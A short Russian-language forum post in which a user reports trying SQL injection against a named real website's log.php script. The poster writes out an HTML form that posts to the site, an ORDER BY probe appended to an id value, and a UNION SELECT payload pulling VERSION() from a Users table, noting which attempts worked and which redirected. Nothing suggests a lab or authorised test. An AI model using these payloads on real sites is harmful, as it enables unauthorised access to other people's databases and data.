Эх! Прочитал я тему и был уверен что всё получится... А нет...
Навоял такую форму
Код:
<form method="post" action="http://www.flotov.net/log.php">
<input name="id" type="text" size="200"><br>
<input type="submit">
</form>
Взял существующий ID http://www.flotov.net/log.php?id=bdc26a63b13ccabfd478f160e46da358 и вбил
Код:
bdc26a63b13ccabfd478f160e46da358
в поле, норм, сработало, тогда вбил
Код:
bdc26a63b13ccabfd478f160e46da358'+ORDER+BY+1/*
не сработало, а так работает
Код:
http://www.flotov.net/log.php?id=bdc26a63b13ccabfd478f160e46da358'+ORDER+BY+1/*
Пробовал пару разных вариантов, 0
[Update]
Щас подумал, мб вы имеете в виду
Код:
<form method="post" action="http://www.flotov.net/log.php?id=1'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,VERSION()+FROM+Users/*">
Но нет, редирект
P.S. Я звеняюсь, но я сваливаю спать, буду вечером
